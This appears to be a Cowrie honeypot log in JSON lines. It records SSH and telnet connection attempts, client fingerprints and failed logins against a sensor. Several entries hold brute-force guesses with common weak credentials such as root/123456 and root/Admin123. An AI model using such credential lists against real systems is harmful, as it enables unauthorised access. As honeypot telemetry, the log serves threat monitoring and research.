{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45700,"dst_ip":"10.17.0.5","dst_port":23,"session":"960ce8635524","protocol":"telnet","message":"New connection: 192.119.13.58:45700 (10.17.0.5:23) [session: 960ce8635524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:24.825792Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:24.864745Z","src_ip":"43.173.122.127","session":"35128c536924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35112,"dst_ip":"10.17.0.5","dst_port":22,"session":"862df3c8b858","protocol":"ssh","message":"New connection: 45.153.34.112:35112 (10.17.0.5:22) [session: 862df3c8b858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:25.936912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:25.941999Z","src_ip":"45.153.34.112","session":"862df3c8b858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:26.026868Z","src_ip":"45.153.34.112","session":"862df3c8b858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:26.273917Z","src_ip":"45.153.34.112","session":"862df3c8b858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.742405652999878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:26.356681Z","src_ip":"192.119.13.58","session":"18ecc3d36b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:27.358433Z","src_ip":"45.153.34.112","session":"862df3c8b858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35130,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28cbc500679","protocol":"ssh","message":"New connection: 45.153.34.112:35130 (10.17.0.5:22) [session: d28cbc500679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:29.321126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:29.328881Z","src_ip":"45.153.34.112","session":"d28cbc500679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:29.410733Z","src_ip":"45.153.34.112","session":"d28cbc500679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:29.656493Z","src_ip":"45.153.34.112","session":"d28cbc500679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:30.741262Z","src_ip":"45.153.34.112","session":"d28cbc500679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46166,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e5534602791","protocol":"telnet","message":"New connection: 192.119.13.58:46166 (10.17.0.5:23) [session: 9e5534602791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:31.545835Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36800,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b220d0d248","protocol":"ssh","message":"New connection: 45.153.34.112:36800 (10.17.0.5:22) [session: 47b220d0d248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:32.741636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:32.746411Z","src_ip":"45.153.34.112","session":"47b220d0d248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:32.885779Z","src_ip":"45.153.34.112","session":"47b220d0d248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:33.268492Z","src_ip":"45.153.34.112","session":"47b220d0d248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:34.354404Z","src_ip":"45.153.34.112","session":"47b220d0d248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.765692710876465,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:35.229093Z","src_ip":"192.119.13.58","session":"d59ccb22c8a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58198,"dst_ip":"10.17.0.5","dst_port":23,"session":"717077f56402","protocol":"telnet","message":"New connection: 192.119.13.58:58198 (10.17.0.5:23) [session: 717077f56402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:35.507544Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36816,"dst_ip":"10.17.0.5","dst_port":22,"session":"08d6ea234e3d","protocol":"ssh","message":"New connection: 45.153.34.112:36816 (10.17.0.5:22) [session: 08d6ea234e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.387545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.390806Z","src_ip":"45.153.34.112","session":"08d6ea234e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.471630Z","src_ip":"45.153.34.112","session":"08d6ea234e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.62526845932007,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.674094Z","src_ip":"192.119.13.58","session":"9f635b040cb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.715439Z","src_ip":"45.153.34.112","session":"08d6ea234e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.792699575424194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:36.719793Z","src_ip":"192.119.13.58","session":"589dcc5296bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:37.804914Z","src_ip":"45.153.34.112","session":"08d6ea234e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44020,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f2d8db83bc","protocol":"telnet","message":"New connection: 192.119.13.58:44020 (10.17.0.5:23) [session: 22f2d8db83bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:37.902486Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41588,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b1fccb16f9e","protocol":"telnet","message":"New connection: 192.119.13.58:41588 (10.17.0.5:23) [session: 7b1fccb16f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:38.323524Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48500,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc7c246ebe1","protocol":"ssh","message":"New connection: 45.153.34.112:48500 (10.17.0.5:22) [session: cdc7c246ebe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:39.851650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:39.856950Z","src_ip":"45.153.34.112","session":"cdc7c246ebe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:39.939360Z","src_ip":"45.153.34.112","session":"cdc7c246ebe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:40.183621Z","src_ip":"45.153.34.112","session":"cdc7c246ebe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"23ef1ddfe2ef","protocol":"telnet","message":"New connection: 192.119.13.58:46350 (10.17.0.5:23) [session: 23ef1ddfe2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:40.585582Z"}
{"eventid":"cowrie.session.closed","duration":0.0051615238189697266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:40.590650Z","src_ip":"192.119.13.58","session":"23ef1ddfe2ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:41.268922Z","src_ip":"45.153.34.112","session":"cdc7c246ebe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":48502,"dst_ip":"10.17.0.5","dst_port":22,"session":"124672171457","protocol":"ssh","message":"New connection: 45.153.34.112:48502 (10.17.0.5:22) [session: 124672171457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:43.561418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:43.570833Z","src_ip":"45.153.34.112","session":"124672171457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:43.652569Z","src_ip":"45.153.34.112","session":"124672171457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.81463813781738,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:43.810511Z","src_ip":"192.119.13.58","session":"87756ce805e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:43.897017Z","src_ip":"45.153.34.112","session":"124672171457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2f32bc44c31","protocol":"telnet","message":"New connection: 192.119.13.58:41714 (10.17.0.5:23) [session: c2f32bc44c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:44.201843Z"}
{"eventid":"cowrie.session.closed","duration":36.637690782547,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:44.228543Z","src_ip":"192.119.13.58","session":"c4b0d4bd4577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:44.982438Z","src_ip":"45.153.34.112","session":"124672171457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47768,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71c1e54945c","protocol":"telnet","message":"New connection: 192.119.13.58:47768 (10.17.0.5:23) [session: a71c1e54945c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:45.772171Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":57822,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf6844aa68ed","protocol":"ssh","message":"New connection: 87.251.79.125:57822 (10.17.0.5:22) [session: bf6844aa68ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.521727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.526535Z","src_ip":"87.251.79.125","session":"bf6844aa68ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:46.601210Z","src_ip":"87.251.79.125","session":"bf6844aa68ed","protocol":"ssh"}
